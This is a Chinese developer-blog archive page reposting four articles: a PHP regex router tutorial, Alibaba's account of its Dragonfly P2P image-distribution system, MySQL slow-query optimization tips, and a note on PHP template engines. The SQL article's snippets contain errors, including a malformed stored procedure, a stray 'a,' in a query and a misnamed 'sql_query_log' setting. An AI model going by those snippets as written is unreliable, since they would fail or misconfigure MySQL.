开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

Just for fun——PHP框架之简单的路由器(1)

发表于 2017-11-14

路由

路由的功能就是分发请求到不同的控制器,基于的原理就是正则匹配。接下来呢,我们实现一个简单的路由器,实现的能力是

  1. 对于静态的路由(没占位符的),正确调用callback
  2. 对于有占位符的路由,正确调用callback时传入占位符参数,譬如对于路由:/user/{id},当请求为/user/23时,传入参数$args结构为
1
2
3
复制代码[
'id' => '23'
]

大致思路

  1. 我们需要把每个路由的信息管理起来:http方法($method),路由字符串($route),回调($callback),因此需要一个addRoute方法,另外提供短方法get,post(就是把$method写好)
  2. 对于/user/{id}这样的有占位符的路由字符串,把占位符要提取出来,然后占位符部分变成正则字符串

实现

Route.php类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
复制代码<?php

namespace SalamanderRoute;

class Route {
/** @var string */
public $httpMethod;

/** @var string */
public $regex;

/** @var array */
public $variables;

/** @var mixed */
public $handler;

/**
* Constructs a route (value object).
*
* @param string $httpMethod
* @param mixed $handler
* @param string $regex
* @param array $variables
*/
public function __construct($httpMethod, $handler, $regex, $variables) {
$this->httpMethod = $httpMethod;
$this->handler = $handler;
$this->regex = $regex;
$this->variables = $variables;
}

/**
* Tests whether this route matches the given string.
*
* @param string $str
*
* @return bool
*/
public function matches($str) {
$regex = '~^' . $this->regex . '$~';
return (bool) preg_match($regex, $str);
}

}

Dispatcher.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
复制代码<?php
/**
* User: salamander
* Date: 2017/11/12
* Time: 13:43
*/

namespace SalamanderRoute;

class Dispatcher {
/** @var mixed[][] */
protected $staticRoutes = [];

/** @var Route[][] */
private $methodToRegexToRoutesMap = [];

const NOT_FOUND = 0;
const FOUND = 1;
const METHOD_NOT_ALLOWED = 2;

/**
* 提取占位符
* @param $route
* @return array
*/
private function parse($route) {
$regex = '~^(?:/[a-zA-Z0-9_]*|/\{([a-zA-Z0-9_]+?)\})+/?$~';
if(preg_match($regex, $route, $matches)) {
// 去掉full match
array_shift($matches);
return [
preg_replace('~{[a-zA-Z0-9_]+?}~', '([a-zA-Z0-9_]+)', $route),
$matches,
];
}
throw new \LogicException('register route failed, pattern is illegal');
}

/**
* 注册路由
* @param $httpMethod string | string[]
* @param $route
* @param $handler
*/
public function addRoute($httpMethod, $route, $handler) {
$routeData = $this->parse($route);
foreach ((array) $httpMethod as $method) {
if ($this->isStaticRoute($routeData)) {
$this->addStaticRoute($httpMethod, $routeData, $handler);
} else {
$this->addVariableRoute($httpMethod, $routeData, $handler);
}
}
}


private function isStaticRoute($routeData) {
return count($routeData[1]) === 0;
}

private function addStaticRoute($httpMethod, $routeData, $handler) {
$routeStr = $routeData[0];

if (isset($this->staticRoutes[$httpMethod][$routeStr])) {
throw new \LogicException(sprintf(
'Cannot register two routes matching "%s" for method "%s"',
$routeStr, $httpMethod
));
}

if (isset($this->methodToRegexToRoutesMap[$httpMethod])) {
foreach ($this->methodToRegexToRoutesMap[$httpMethod] as $route) {
if ($route->matches($routeStr)) {
throw new \LogicException(sprintf(
'Static route "%s" is shadowed by previously defined variable route "%s" for method "%s"',
$routeStr, $route->regex, $httpMethod
));
}
}
}

$this->staticRoutes[$httpMethod][$routeStr] = $handler;
}


private function addVariableRoute($httpMethod, $routeData, $handler) {
list($regex, $variables) = $routeData;

if (isset($this->methodToRegexToRoutesMap[$httpMethod][$regex])) {
throw new \LogicException(sprintf(
'Cannot register two routes matching "%s" for method "%s"',
$regex, $httpMethod
));
}

$this->methodToRegexToRoutesMap[$httpMethod][$regex] = new Route(
$httpMethod, $handler, $regex, $variables
);
}


public function get($route, $handler) {
$this->addRoute('GET', $route, $handler);
}

public function post($route, $handler) {
$this->addRoute('POST', $route, $handler);
}

public function put($route, $handler) {
$this->addRoute('PUT', $route, $handler);
}

public function delete($route, $handler) {
$this->addRoute('DELETE', $route, $handler);
}

public function patch($route, $handler) {
$this->addRoute('PATCH', $route, $handler);
}

public function head($route, $handler) {
$this->addRoute('HEAD', $route, $handler);
}

/**
* 分发
* @param $httpMethod
* @param $uri
*/
public function dispatch($httpMethod, $uri) {
$staticRoutes = array_keys($this->staticRoutes[$httpMethod]);
foreach ($staticRoutes as $staticRoute) {
if($staticRoute === $uri) {
return [self::FOUND, $this->staticRoutes[$httpMethod][$staticRoute], []];
}
}

$routeLookup = [];
$index = 1;
$regexes = array_keys($this->methodToRegexToRoutesMap[$httpMethod]);
foreach ($regexes as $regex) {
$routeLookup[$index] = [
$this->methodToRegexToRoutesMap[$httpMethod][$regex]->handler,
$this->methodToRegexToRoutesMap[$httpMethod][$regex]->variables,
];
$index += count($this->methodToRegexToRoutesMap[$httpMethod][$regex]->variables);
}
$regexCombined = '~^(?:' . implode('|', $regexes) . ')$~';
if(!preg_match($regexCombined, $uri, $matches)) {
return [self::NOT_FOUND];
}
for ($i = 1; '' === $matches[$i]; ++$i);
list($handler, $varNames) = $routeLookup[$i];
$vars = [];
foreach ($varNames as $varName) {
$vars[$varName] = $matches[$i++];
}
return [self::FOUND, $handler, $vars];
}
}

配置

nginx.conf重写到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码location / {
try_files $uri $uri/ /index.php$is_args$args;

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

}

composer.json自动载入

1
2
3
4
5
6
7
8
9
复制代码{
"name": "salmander/route",
"require": {},
"autoload": {
"psr-4": {
"SalamanderRoute\\": "SalamanderRoute/"
}
}
}

最终使用

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
复制代码<?php

include_once 'vendor/autoload.php';

use SalamanderRoute\Dispatcher;

$dispatcher = new Dispatcher();

$dispatcher->get('/', function () {
echo 'hello world';
});

$dispatcher->get('/user/{id}', function ($args) {
echo "user {$args['id']} visit";
});

// Fetch method and URI from somewhere
$httpMethod = $_SERVER['REQUEST_METHOD'];
$uri = $_SERVER['REQUEST_URI'];

// 去掉查询字符串
if (false !== $pos = strpos($uri, '?')) {
$uri = substr($uri, 0, $pos);
}

$routeInfo = $dispatcher->dispatch($httpMethod, $uri);
switch ($routeInfo[0]) {
case Dispatcher::NOT_FOUND:
echo '404 not found';
break;
case Dispatcher::FOUND:
$handler = $routeInfo[1];
$vars = $routeInfo[2];
$handler($vars);
break;
}

代码讲解,未完待续^–^

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

直击阿里双11神秘技术:PB级大规模文件分发系统“蜻蜓”

发表于 2017-11-14

阿里妹导读:2017天猫双11, 交易峰值32.5万/秒,支付峰值25.6万/秒,数据库处理峰值4200万次/秒,再次刷新了记录。阿里集团基础设施蜻蜓,在双11期间,对上万台服务器同时下发5GB的数据文件,让大规模文件分发靠蜻蜓系统完美实现。

蜻蜓,通过解决大规模文件下载以及跨网络隔离等场景下各种难题,大幅提高数据预热、大规模容器镜像分发等业务能力。月均分发次数突破20亿次,分发数据量3.4PB。其中容器镜像分发比natvie方式提速可高达57倍,registry网络出口流量降低99.5%以上。今天,阿里妹邀请阿里基础架构事业群高级技术专家如柏,为我们详述蜻蜓从文件分发到镜像传输的技术之路。

蜻蜓的诞生

随着阿里业务爆炸式增长,2015年时发布系统日均的发布量突破两万,很多应用的规模开始破万,发布失败率开始增高,而根本原因就是发布过程需要大量的文件拉取,文件服务器扛不住大量的请求,当然很容易想到服务器扩容,可是扩容后又发现后端存储成为瓶颈。此外,大量来自不同IDC的客户端请求消耗了巨大的网络带宽,造成网络拥堵。

同时,很多业务走向国际化,大量的应用部署在海外,海外服务器下载要回源国内,浪费了大量的国际带宽,而且还很慢;如果传输大文件,网络环境差,失败的话又得重来一遍,效率极低。

于是很自然的就想到了P2P技术,因为P2P技术并不新鲜,当时也调研了很多国内外的系统,但是调研的结论是这些系统的规模和稳定性都无法达到我们的期望。所以就有了蜻蜓这个产品。

设计目标

针对这些痛点,蜻蜓在设计之初定了几个目标:

  1. 解决文件源被打爆的问题,在Host之间组P2P网,缓解文件服务器压力,节约跨IDC之间的网络带宽资源。
  1. 加速文件分发速度,并且保证上万服务器同时下载,跟一台服务器下载没有太大的波动。
  1. 解决跨国下载加速和带宽节约。
  1. 解决大文件下载问题,同时必须要支持断点续传。
  1. Host上的磁盘IO,网络IO必须可以被控制,以避免对业务造成影响。
系统架构

蜻蜓整体架构

蜻蜓整体架构分三层:第一层是Config Service, 他管理所有的Cluster Manager,Cluster Manager又管理所有的Host, Host就是终端,dfget就是类似wget的一个客户端程序。

Config Service 主要负责Cluster Manager的管理、客户端节点路由、系统配置管理以及预热服务等等。简单的说, 就是负责告诉Host,离他最近的一组Cluster Manager的地址列表,并定期维护和更新这份列表,使Host总能找到离他最近的Cluster Manager。

Cluster Manager 主要的职责有两个:

  1. 以被动CDN方式从文件源下载文件并生成一组种子分块数据;
  1. 构造P2P网络并调度每个peer之间互传指定的分块数据。

Host上就存放着dfget,dfget的语法跟wget非常类似。主要功能包括文件下载和P2P共享等。

在阿里内部我们可以用StarAgent来下发dfget指令,让一组机器同时下载文件,在某种场景下一组机器可能就是阿里所有的服务器,所以使用起来非常高效。除了客户端外, 蜻蜓还有Java SDK,可以让你将文件“PUSH”到一组服务器上。

下面这个图阐述了两个终端同时调用dfget,下载同一个文件时系统的交互示意图:

蜻蜓P2P组网逻辑示意图

两个Host和CM会组成一个P2P网络,首先CM会查看本地是否有缓存,如果没有,就会回源下载,文件当然会被分片,CM会多线程下载这些分片,同时会将下载的分片提供给Host们下载,Host下载完一个分片后,同时会提供出来给peer下载,如此类推,直到所有的Host全部下载完。

本地下载的时候会将下载分片的情况记录在metadata里,如果突然中断了下载,再次执行dfget命令,会断点续传。

下载结束后,还会比对MD5,以确保下载的文件和源文件是完全一致的。蜻蜓通过HTTP cache协议来控制CM端对文件的缓存时长,CM端当然也有自己定期清理磁盘的能力,确保有足够的空间支撑长久的服务。

在阿里还有很多文件预热的场景,需要提前把文件推送到CM端,包括容器镜像、索引文件、业务优化的cache文件等等。

在第一版上线后,我们进行了一轮测试, 结果如下图:

传统下载和蜻蜓P2P下载测试结果对比图

X轴是客户端数量, Y轴是下载时长,

文件源:测试目标文件200MB(网卡:千兆bit/s)

Host端:百兆bit/s网卡

CM端:2台服务器(24核 64G,网卡:千兆bit/s)

从这个图可以看出两个问题:

  1. 传统模式随着客户端的增加,下载时长跟着增加,而dfget可以支撑到7000客户端依然没变好。
  1. 传统模式到了1200客户端以后就没有数据了,因为数据源被打爆了。

从发布系统走向基础设施

2015年双11后,蜻蜓的下载次数就达到了12万/月,分发量4TB。当时在阿里还有别的下载工具,如wget,curl,scp,ftp 等等,也有自建的小规模文件分发系统。我们除了全面覆盖自身发布系统外,也做了小规模的推广。到2016年双11左右,我们的下载量就达到了1.4亿/月,分发量708TB,业务增长了近千倍。

2016年双11后我们提出了一个更高的目标, 希望阿里大规模文件分发和大文件分发90%的业务由蜻蜓来承担。

我希望通过这个目标锤炼出最好的P2P文件分发系统。此外也可以统一集团内所有的文件分发系统。统一可以让更多的用户受益,但统一从来不是终极目标, 统一的目的是:1. 减少重复建设;2. 全局优化。

只要优化蜻蜓一个系统,全集团都能受益。比如我们发现系统文件是每天全网分发的,而光这一个文件压缩的话就能给公司每天节省9TB网络流量。跨国带宽资源尤其宝贵。而如果大家各用各的分发系统,类似这样的全局优化就无从谈起。

所以统一势在必行!

在大量数据分析基础上,我们得出全集团文件分发的量大概是3.5亿次/周,而我们当时的占比只有10%不到。

经过半年努力,在2017年4月份,我们终于实现了这个目标, 达到90%+的业务占有率,业务量增长到3亿次/周(跟我们之前分析的数据基本吻合),分发量977TB,这个数字比半年前一个月的量还大。

当然,不得不说这跟阿里容器化也是密不可分的,镜像分发流量大约占了一半。下面我们就来介绍下蜻蜓是如何支持镜像分发的。在说镜像分发之前先说下阿里的容器技术。

阿里的容器技术

容器技术的优点自然不需要多介绍了,全球来看,容器技术以Docker为主占了大部分市场,当然还有其他解决方案:比如rkt,Mesos Uni Container,LXC等,而阿里的容器技术命名为Pouch。早在2011年,阿里就自主研发了基于LXC的容器技术T4,只是当时我们没有创造镜像这个概念,T4还是当做虚拟机来用,当然比虚拟机要轻量的多。

2016年阿里在T4基础上做了重大升级,演变为今天的Pouch,并且已经开源。目前Pouch容器技术已经覆盖阿里巴巴集团几乎所有的事业部,在线业务100%容器化,规模高达数十万。镜像技术的价值扩大了容器技术的应用边界,而在阿里如此庞大的应用场景下,如何实现高效“镜像分发”成为一个重大命题。

回到镜像层面。宏观上,阿里巴巴有规模庞大的容器应用场景;微观上,每个应用镜像在镜像化时,质量也存在参差不齐的情况。

理论上讲用镜像或者用传统“基线”模式,在应用大小上不应该有非常大的区别。但事实上这完全取决于Dockerfile写的好坏,也取决于镜像分层是否合理。阿里内部其实有最佳实践,但是每个团队理解接受程度不同,肯定会有用的好坏的之分。尤其在一开始,大家打出来的镜像有3~4GB这都是非常常见的。

所以作为P2P文件分发系统,蜻蜓就有了用武之地,无论是多大的镜像,无论是分发到多少机器,即使你的镜像打的非常糟糕,我们都提供非常高效的分发,都不会成瓶颈。这样就给我们快速推广容器技术,让大家接受容器运维模式,给予了充分消化的时间。

容器镜像

在讲镜像分发之前先简单介绍下容器镜像。我们看下Ubuntu系统的镜像:我们可以通过命令 docker history ubuntu:14.04 查看 ubuntu:14.04,结果如下:

需要注意的是:镜像层 d2a0ecffe6fa 中没有任何内容,也就是所谓的空镜像。

镜像是分层的,每层都有自己的ID和尺寸,这里有4个Layer,最终这个镜像是由这些Layer组成。

Docker镜像是通过Dockerfile来构建,看一个简单的Dockerfile:

镜像构建过程如下图所示:

可以看到,新镜像是从 base 镜像一层一层叠加生成的。每安装一个软件,就在现有镜像的基础上增加一层。

当容器启动时,一个可写层会被加载到镜像的顶层,这个可读可写层也被称为“容器层”,容器层之下都是“镜像层”,都是只读的。

如果镜像层内容为空,相应的信息会在镜像json文件中描述,如果镜像层内容不为空,则会以文件的形式存储在OSS中。

镜像分发

Docker 镜像下载流程图

以阿里云容器服务为例,传统的镜像传输如上图所示,当然这是最简化的一种架构模式,实际的部署情况会复杂的多,还会考虑鉴权、安全、高可用等等。

从上图可以看出,镜像传输跟文件分发有类似的问题,当有一万个Host同时向Registry请求时,Registry就会成为瓶颈,还有海外的Host访问国内Registry时候也会存在带宽浪费、延时变长、成功率下降等问题。

下面介绍下Docker Pull的执行过程:

Docker 镜像分层下载图

Docker Daemon调用Registry API得到镜像的Manifest,从Manifest中能算出每层的URL,Daemon随后把所有镜像层从Registry并行下载到Host本地仓库。

所以最终,镜像传输的问题变成了各镜像层文件的并行下载的问题。而蜻蜓擅长的正是将每层镜像文件从Registry用P2P模式传输到本地仓库中。

那么具体又是如何做到的呢?

事实上我们会在Host上启动dfGet proxy,Docker/Pouch Engine的所有命令请求都会通过这个proxy,我们看下图:

蜻蜓P2P容器镜像分发示意图

首先,docker pull命令,会被dfget proxy截获。然后,由dfget proxy向CM发送调度请求,CM在收到请求后会检查对应的下载文件是否已经被缓存到本地,如果没有被缓存,则会从Registry中下载对应的文件,并生成种子分块数据(种子分块数据一旦生成就可以立即被使用);如果已经被缓存,则直接生成分块任务,请求者解析相应的分块任务,并从其他peer或者supernode中下载分块数据,当某个Layer的所有分块下载完成后,一个Layer也就下载完毕了,同样,当所有的Layer下载完成后,整个镜像也就下载完成了。

蜻蜓支持容器镜像分发,也有几个设计目标:

  1. 大规模并发:必须能支持十万级规模同时Pull镜像。
  1. 不侵入容器技术内核(Docker Daemon, Registry):也就是说不能改动容器服务任何代码。
  1. 支持Docker,Pouch,Rocket ,Hyper等所有容器/虚拟机技术。
  1. 支持镜像预热:构建时就推送到蜻蜓集群CM。
  1. 支持大镜像文件:至少30GB。
  1. 安全

Native Docker V.S 蜻蜓

我们一共做了两组实验:

实验一:1个客户端

  1. 测试镜像大小:50MB、200MB、500MB、1GB、5GB
  1. 镜像仓库带宽:15Gbps
  1. 客户端带宽:双百兆bit/s网络环境
  1. 测试规模:单次下载

单客户端不同模式对比图

Native和蜻蜓(关闭智能压缩特性)平均耗时基本接近,蜻蜓稍高一点,因为蜻蜓在下载过程中会校验每个分块数据的MD5值,同时在下载之后还会校验整个文件的MD5,以保证下载的文件跟源文件是一致的;而开启了智能压缩的模式下,其耗时比Native模式还低!

实验二:多客户端并发

  1. 测试镜像大小:50MB、200MB、500MB、1GB、5GB
  1. 镜像仓库带宽:15Gbps
  1. 客户端带宽:双百兆bit/s网络环境
  1. 多并发:10并发、200并发、1000并发

不同镜像大小和并发数的对比图

上图可以看出,随着下载规模的扩大,蜻蜓与Native模式耗时差异显著扩大,最高可提速可以达20倍。在测试环境中源的带宽也至关重要,如果源的带宽是2Gbps,提速可达57倍。

下图是下载文件的总流量(并发数 * 文件大小)和回源流量(去Registry下载的流量)的一个对比:

蜻蜓镜像分发出流量对比图

向200个节点分发500M的镜像,比docker原生模式使用更低的网络流量,实验数据表明采用蜻蜓后,Registry的出流量降低了99.5%以上;而在1000并发规模下,Registry的出流量更可以降低到99.9%左右。

阿里巴巴实践效果

蜻蜓在阿里投入使用大概已有两年,两年来业务发展迅速,从分发的次数来统计目前一个月接近20亿次,分发3.4PB数据。其中容器镜像的分发量接近一半。

蜻蜓在阿里文件vs镜像分发流量趋势图

在阿里最大的一次分发应该就是今年双11期间, 要对上万台服务器同时下发5GB的数据文件。

走向智能化

阿里在AIOps起步虽然不是最早, 但是我们近年来投入巨大,并在很多产品上有所应用。蜻蜓这个产品中有以下应用:

智能流控

流控在道路交通中很常见,比如中国道路限速规定,没有中心线的公路,限速为40公里/小时;同方向只有1条机动车道的公路,限速为70公里/小时;快速道路80公里;高速公路最高限速为120公里/小时等等。这种限速对每辆车都一样,显然不够灵活,所以在道路非常空闲的情况下,道路资源其实是非常浪费的,整体效率非常低下。

红绿灯其实也是流控的手段,现在的红绿灯都是固定时间,不会根据现实的流量来做智能的判断,所以去年10月召开的云栖大会上,王坚博士曾感慨,世界上最遥远的距离不是从南极到北极,而是从红绿灯到交通摄像头,它们在同一根杆上,但从来没有通过数据被连接过,摄像头看到的东西永远不会变成红绿灯的行动。这既浪费了城市的数据资源,也加大了城市运营发展的成本。

蜻蜓其中一个参数就是控制磁盘和网络带宽利用率的,用户可以通过参数设定使用多少网络IO/磁盘IO。如上所述,这种方法是非常僵化的。所以目前我们智能化方面的主要思想之一是希望类似的参数不要再人为来设定,而是根据业务的情况结合系统运行的情况,智能的决定这些参数的配置。最开始可能不是最优解,但是经过一段时间运行和训练后自动达到最优化的状态,保证业务稳定运行同时又尽可能的充分利用网络和磁盘带宽,避免资源浪费。

智能调度

分块任务调度是决定整个文件分发效率高低与否的关键因素,如果只是通过简单的调度策略,比如随机调度或者其他固定优先级的调度,这种做法往往会引起下载速率的频繁抖动,很容易导致下载毛刺过多,同时整体下载效率也会很差。为了最优化任务调度,我们经历了无数次的尝试和探索,最终通过多维度(比如机器硬件配置、地理位置、网络环境、历史下载结果和速率等等维度的数据)的数据分析(主要利用了梯度下降算法,后续还会尝试其他算法),智能动态决定当前请求者最优的后续分块任务列表。

智能压缩

智能压缩会对文件中最值得压缩的部分实施相应的压缩策略,从而可以节约大量的网络带宽资源。

对容器镜像目前的实际平均数据来看,压缩率(Compression Ration) 是40%,也就是说100MB镜像可以压缩到40MB。针对1000并发规模,通过智能压缩可以减少60%的流量。

安全

在下载某些敏感的文件(比如秘钥文件或者账号数据文件等)时,传输的安全性必须要得到有效的保证,在这方面,蜻蜓主要做了两个工作:

  1. 支持携带HTTP的header数据,以满足那些需要通过header来进行权限验证的文件源;
  1. 利用对称加密算法,对文件内容进行传输加密。

开源

随着容器技术的流行,容器镜像这类大文件分发成为一个重要问题,为了更好的支持容器技术的发展,数据中心大规模文件的分发,阿里决定开源蜻蜓来更好的推进技术的发展。阿里将持续支持开源社区,并把自己经过实战检验的技术贡献给社区。敬请期待。

总结

蜻蜓通过使用P2P技术同时结合智能压缩、智能流控等多种创新技术,解决大规模文件下载以及跨网络隔离等场景下各种文件分发难题,大幅提高数据预热、大规模容器镜像分发等业务能力。

蜻蜓支持多种容器技术,对容器本身无需做任何改造,镜像分发比natvie方式提速可高达57倍,Registry网络出流量降低99.5%以上。承载着PB级的流量的蜻蜓,在阿里已然成为重要的基础设施之一,为业务的极速扩张和双11大促保驾护航。

PS:云效2.0 智能运维平台 - 致力于打造具备世界级影响力的智能运维平台,诚聘资深技术/产品专家,工作地点:杭州、北京、美国,有意者可以点击文末“阅读原文”了解详情。

Reference

[1]Docker Overview:

https://docs.docker.com/engine/docker-overview/

[2]Where are docker images stored:

http://blog.thoward37.me/articles/where-are-docker-images-stored/

[3]Image Spec:

https://github.com/moby/moby/blob/master/image/spec/v1.md

[4]Pouch开源地址:

https://github.com/alibaba/pouch

[5]蜻蜓开源地址:

https://github.com/alibaba/dragonfly

[6]阿里云容器服务:

https://www.aliyun.com/product/containerservice

[7]飞天专有云敏捷版:

https://yq.aliyun.com/articles/224507

[8]云效智能运维平台:

https://www.aliyun.com/product/yunxiao

你可能还喜欢

点击下方图片即可阅读

阿里巴巴CTO行癫:

阿里双11是世界互联网技术超级工程

关注 「阿里技术」

把握前沿技术脉搏

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

SQL语句的优化

发表于 2017-11-14

SQL语句的优化

如何索取有性能问题SQL的渠道

  1. 通过用户反馈获取存在性能问题的SQL
  2. 通过慢查日志获取存在性能问题的SQL
  3. 实时获取存在性能问题的SQL

慢查询日志介绍

  • slow_quey_log=on 启动记录慢查询日志
  • slow_query_log_file 指定慢查询日志的存储路径及文件(默认情况下保存在MySQL的数据目录中)
  • long_query_time 指定记录慢查询日志sql执行的阈值(默认为10秒,通常改为0.001秒比较合适)
  • log_queries_not_using_indexes 是否记录未使用索引的SQL

set global sql_query_log=on;

sysbench --test=./oltp.lua --mysql-table-engine=innodb --oltp-table-size=10000 --mysql-db=tests --mysql-user=sbtest --mysql-password=123456 --oltp-tables-count=10 --mysql-socket=/usr/local/mysql/data/mysql.sock run

慢查询日志分析工具

mysqldumpslow
  • 汇总除查询条件外其它完全相同的SQL并将分析结果按照参数中所指定的顺序输出

mysqldumpslow -s r -t 10 slow-mysql.log

-s order(c,t,l,r,at,al,ar)[指定按照哪种排序方式输出结果]

1. c按照查询的次数排序
2. t按照查询的总时间排序
3. l按照查询中锁的时间来排序
4. r按照查询中返回总的数据行来排序
5. at、al、ar平均数量来排序-t top[指定取前几条作为结束输出]
pt-query-digest

pt-query-digest \

--explain h=127.0.0.1,u=root,p=p@ssWord \

slow-mysql.log

pt-query-digest –explain h=127.0.0.1 slow-mysql.log > slow.rep

实时获取存在性能问题的SQL

select id,user,host,db,command,time,state,info
FROM information_schema.processlist
WHERE time>=60

查询速度为什么会这麽慢?

  1. 客户端发送SQL请求给服务器
  2. 服务器检查是否可以在查询缓存中命中该SQL
  3. 服务器端进行SQL解析,预处理,再由优化器生成对应的执行计划
  4. 根据执行计划,调用存储引擎API来查询数据
  5. 将结果返回给客户端

》 对于一个读写频繁的系统使用查询缓存很可能会降低查询处理的效率,建议大家不要使用查询缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
复制代码2.其中涉及的参数:
query_cache_type 设置查询缓存是否可用[ON,OFF,DEMAND]

DEMAND表示只有在查询语句中使用了SQL_CACHE和SQL_NO_CACHE来控制是否需要进行缓存

query_cache_size 设置查询缓存的内存的大小

query_cache_limit 设置查询缓存可用的存储的最大值(加上SQL_NO_CACHE可以提高效率)

query_cache_wlock_invalidate 设置数据表被锁后是否返回缓存中的数据

query_cache_min_res_unit 设置查询缓存分配的内存块最小单位

3.MySQL依照这个执行计划和存储引擎进行交互
解析SQL,预处理。优化SQL的查询计划

语法解析阶段是通过关键字对MySQL语句进行解析,并生成一颗对应的解析树
MySQL解析器将使用MySQL语法规则验证和解析查询,包括检查语法是否使用了正确的关键走;关键字的顺序是否正确等等;

预处理阶段是根据MySQL规则进一步检查解析树是否合法
检查查询中所涉及的表和数据列是否存在及名字或别名是否存在歧义等等
语法检查通过了,查询优化器就可以生成查询计划了

优化器SQL的查询计划阶段对上一步所生成的执行计划进行选择基于成本模型的最优的执行计划【下面是影响选择最优的查询计划的7因素】
1.统计信息不准确
2.执行计划中的成本估算不等于实际的执行计划的成本
3.MySQL优化器认为的最优的可能与你认为最优的不一样【基于成本模型选择最优的执行计划】
4.MySQL从不考虑其他的并发的查询,这可能会影响当前查询的速度
5.MySQL有时候也会基于一些固定的规则来生成执行计划
6.MySQL不会考虑不受其控制的成本
查询优化器在目前的版本中可以进行优化的SQL的类型:
1.重新定义表的关联顺序
2.将外连接转化为内连接
3.使用等价变换规则
4.优化count(),min()和max()[select tables optimozed away]
5.将一个表达式转化为一个常数表达式
6.子查询优化
7.提前终止查询
8.对in()条件进行优化

如何确定查询处理各个阶段所消耗的时间

  • 使用profile[不建议使用,未来mysql中将被移除]
1. set profiling = 1;[启动profile,这是一个session级别的配置]
2. 执行查询
3. show profiles;[查看每一个查询所消耗的总的时间的信息]
4. show profile for query N;[查询的每个阶段所消耗的时间]
5. show profile cpu for query N;[查看每个阶段所消耗的时间信息和所消耗的cpu的信息]
  • 使用performance_schema
1. 启动所需要的监控和历史记录表的信息



> update setup\_instruments set enabled='yes',timed='yes' where name like 'stage%';



> update setup\_consumers set enabled='yes' where name like 'events%';
2. SELECT
a.thread\_id,
sql\_text,
c.event\_name,
(c.timer\_end - c.timer\_start) / 1000000000 AS 'duration(ms)'
FROM
events\_statements\_history\_long a
JOIN threads b on a.thread\_id=b.thread\_id
JOIN events\_stages\_history\_long c ON c.thread\_id=b.thread\_id
AND c.event\_id between a.event\_id and a.end\_event\_id
WHERE b.processlist\_id=CONNECTION\_ID()
AND a.event\_name='statement/sql/select'
ORDER BY a.thread\_id,c.event\_id

特定的SQL查询优化

  • 大表的更新和删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码  delimiter ?
use 'imooc'?
drop procedure if exists 'p_delete_rows'?
create definer='root'@'127.0.0.1' procedure 'p_delete_rows'()
begin
declare v_rows int;
set v_rows int,
while v_rows=1,
while v_rows>0
do
delete from test where id>=9000 and id<=19000 limit 5000;
select row_count() into v_rows;
select sleep(5);
end while;
end ?
delimiter;
  • 如何修改大表的表结构

1.对表中的列的字段类型进行修改改变字段的宽度时还是会进行锁表

2.无法解决主从数据库延迟的问题

修改的方法:

1
2
3
4
复制代码  pt-online-schema-change 
--alter="modify c varchar(150) not null default''"
--user=root --password=PassWord D=testDataBaseName,t=tesTableName
--charset=utf-8 --execute
  • 如何优化not in和<>查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
复制代码  #原始的SQL语句
SELECT
customer_id,
first_name,
last_name,
email
FROM
customer
WHERE
customer_id NOT IN (
SELECT
customer_id
FROM
payment
)

#优化后的SQL语句
SELECT
a.customer_id,
a,
first_name,
a.last_name,
a.email
FROM
customer a
LEFT JOIN payment b ON a.customer_id = b.customer_id
WHERE
b.customer_id IS NULL
  • 使用汇总表的方法进行优化
    #统计商品的评论数(若有上亿条记录,执行起来非常慢进行全表扫描)[优化前的SQL]
    select count(*) from product_comment where product_id=999;
1
2
3
4
5
6
7
8
9
10
11
12
复制代码  #汇总表就是提前以要统计的数据进行汇总并记录到数据库中以备后续的查询使用

create table product_comment_cnt(product_id int,cnt int);

#统计商品的评论数[优化后的SQL]
#查询出每个商品截止到前一天的累计评论数+当天的评论数
select sum(cnt) from(
select cnt from product_comment_cnt where product_id=999
union all
select count(*) from product_comment where product_id=999
and timestr>DATE(NOW())
) a

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

非常好用的PHP模板引擎

发表于 2017-11-14

什么是模板引擎

顾名思义,这是个模板解析的工具。他是为了解决mvc,实现数据和展示分离问题而产生的。php模板引擎由来已久,比如老大哥smarty。已经很少有人用了。毕竟现在mvc已经很成熟,很多框架都有自己的模板引擎。比如Symfony的twig,Laravel的blade。

性能损耗?

模板引擎开始出现的时候,有很多人质疑,认为有性能问题。但其实这是没有必要的。毕竟模板引擎只是编译一次,把相应的模板语法利用正则替换成php语句,然后存储成php文件就完成任务了,后续的运行其实是载入php文件。多出来的仅仅是一个是否存在编译文件的判断而已。对于现在的计算速度来说可以忽略。

为什么要用模板引擎

1 从繁琐的php标签中脱离出来,从而提高代码的可读性
2 将数据处理和视图展示分离,视图只负责展示和基本的逻辑判断
3 很好的进行视图拆分,组织结构

模板引擎比较

除了目的,还有一个不可忽视的问题,是否易学,如果一个模板引擎需要用几个小时去学习,那这样的学习成本太高了。作为一个工具应该简单易学,其次是能满足需求,功能要完善。
